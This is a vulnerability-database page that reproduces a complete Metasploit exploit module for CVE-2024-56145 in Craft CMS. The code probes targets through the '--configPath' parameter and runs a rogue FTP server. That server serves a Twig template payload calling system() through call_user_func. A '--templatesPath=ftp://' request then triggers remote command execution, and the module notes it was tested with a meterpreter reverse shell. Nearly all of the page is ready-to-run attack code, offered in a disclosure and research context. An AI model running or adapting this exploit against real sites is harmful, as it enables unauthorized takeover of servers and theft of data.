Lucene search
K

Craft CMS Twig Template Injection / Remote Code Execution

🗓️ 24 Jan 2025 00:00:00Reported by AssetNote, jheysel-r7, Valentin LobsteinType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 557 Views

Exploits Twig template injection in Craft CMS via FTP, allowing Remote Code Execution.

Related
Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::FtpServer
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Craft CMS Twig Template Injection RCE via FTP Templates Path',
            'Description' => %q{
              This module exploits a Twig template injection vulnerability in Craft CMS by abusing the --templatesPath argument.
              The vulnerability allows arbitrary template loading via FTP, leading to Remote Code Execution (RCE).
            },
            'Author' => [
              'jheysel-r7',         # Metasploit module
              'Valentin Lobstein',  # Refactor, Fix, and PoC
              'AssetNote'           # Vulnerability discovery
            ],
            'References' => [
              ['CVE', '2024-56145'],
              ['URL', 'https://github.com/Chocapikk/CVE-2024-56145'],
              ['URL', 'https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms']
            ],
            'Payload' => {
              'BadChars' => "\x22\x27" # " and '
            },
            'License' => MSF_LICENSE,
            'Privileged' => false,
            'Platform' => %w[unix linux],
            'Arch' => [ARCH_CMD],
            'Targets' => [
              [
                'Unix/Linux Command Shell', {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD
                  # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ],
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2024-12-19',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
      end
    
      def vulnerable_file_list
        %w[/default/index.twig /default/index.html]
      end
    
      def get_payload
        "{{ ['system', 'bash -c \"#{payload.encoded}\"'] | sort('call_user_func') }}"
      end
    
      def send_ftp_response(cli, code, message)
        cli.put "#{code} #{message}\r\n"
        vprint_status("-> #{code} #{message}")
      end
    
      def on_client_connect(cli)
        @state[cli] = {
          name: "#{cli.peerhost}:#{cli.peerport}",
          ip: cli.peerhost,
          port: cli.peerport,
          user: nil,
          pass: nil,
          cwd: '/'
        }
        send_ftp_response(cli, 220, 'FTP Server Ready')
      end
    
      def on_client_command_user(cli, arg)
        vprint_status('on_client_command_user')
        if arg.downcase == 'anonymous'
          @state[cli][:user] = 'anonymous'
          send_ftp_response(cli, 331, 'Username ok, send password.')
        else
          send_ftp_response(cli, 530, 'Not logged in.')
        end
      end
    
      def on_client_command_pass(cli, arg)
        vprint_status('on_client_command_pass')
        if @state[cli][:user] == 'anonymous'
          @state[cli][:pass] = arg
          send_ftp_response(cli, 230, 'Login successful.')
        else
          send_ftp_response(cli, 530, 'Not logged in.')
        end
      end
    
      def on_client_command_cwd(cli, arg)
        vprint_status('on_client_command_cwd')
        if arg == '/default'
          @state[cli][:cwd] = '/default'
          send_ftp_response(cli, 250, "\"#{@state[cli][:cwd]}\" is current directory.")
        else
          send_ftp_response(cli, 550, 'Not a directory')
        end
      end
    
      def on_client_command_type(cli, arg)
        vprint_status('on_client_command_type')
        if arg == 'I'
          send_ftp_response(cli, 200, 'Type set to: Binary.')
        else
          send_ftp_response(cli, 500, 'Unknown type.')
        end
      end
    
      def on_client_command_size(cli, arg)
        vprint_status('on_client_command_size')
        if vulnerable_file_list.include?(arg)
          send_ftp_response(cli, 213, get_payload.length.to_s)
        else
          send_ftp_response(cli, 550, "#{arg} is not retrievable.")
        end
      end
    
      def on_client_command_mdtm(cli, arg)
        vprint_status('on_client_command_mdtm')
        if vulnerable_file_list.include?(arg)
          send_ftp_response(cli, 213, Time.now.strftime('%Y%m%d%H%M%S'))
        else
          send_ftp_response(cli, 550, "#{arg} is not retrievable.")
        end
      end
    
      def on_client_command_epsv(cli, _arg)
        vprint_status('on_client_command_epsv')
        send_ftp_response(cli, 502, 'EPSV command not implemented.')
      end
    
      def on_client_command_retr(cli, arg)
        vprint_status('on_client_command_retr')
        if vulnerable_file_list.include?(arg)
          conn = establish_data_connection(cli)
          unless conn
            send_ftp_response(cli, 425, "Can't open data connection.")
            return
          end
          send_ftp_response(cli, 150, "Opening data connection for #{arg}")
          conn.put(get_payload)
          conn.close
          send_ftp_response(cli, 226, 'Transfer complete.')
        else
          send_ftp_response(cli, 550, 'File not available.')
        end
      rescue IOError => e
        vprint_error("Data transfer failed: #{e.message}")
        send_ftp_response(cli, 425, 'Data transfer failed.')
      end
    
      def on_client_command_quit(cli, _arg)
        vprint_status('on_client_command_quit')
        send_ftp_response(cli, 221, 'Goodbye.')
      end
    
      def on_client_command_unknown(cli, cmd, arg)
        vprint_status('on_client_command_unknown')
        send_ftp_response(cli, 500, "'#{cmd} #{arg}': command not understood.")
      end
    
      def check
        vprint_status('Performing vulnerability check...')
        nonce = Rex::Text.rand_text_alphanumeric(8)
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path),
          'method' => 'GET',
          'vars_get' => { '--configPath' => "/#{nonce}" }
        )
    
        if res&.body&.include?('mkdir()') && res.body.include?(nonce)
          CheckCode::Vulnerable
        else
          CheckCode::Safe
        end
      end
    
      def trigger_http_request
        vprint_status('Triggering HTTP request...')
        templates_path = "ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
        send_request_raw(
          'uri' => normalize_uri(target_uri.path) + "?--templatesPath=#{templates_path}",
          'method' => 'GET'
        )
      rescue StandardError => e
        vprint_error("HTTP request failed: #{e.message}")
      end
    
      def start_ftp_service
        if datastore['SSL'] == true
          reset_ssl = true
          datastore['SSL'] = false
        end
        start_service
        if reset_ssl
          datastore['SSL'] = true
        end
      end
    
      def exploit
        vprint_status('Starting FTP service...')
        start_ftp_service
        vprint_status("FTP server started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
        vprint_status('Sending HTTP request to trigger the payload...')
        trigger_http_request
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Jan 2025 00:00Current
7.6High risk
Vulners AI Score7.6
CVSS 49.3
EPSS0.93926
SSVC
557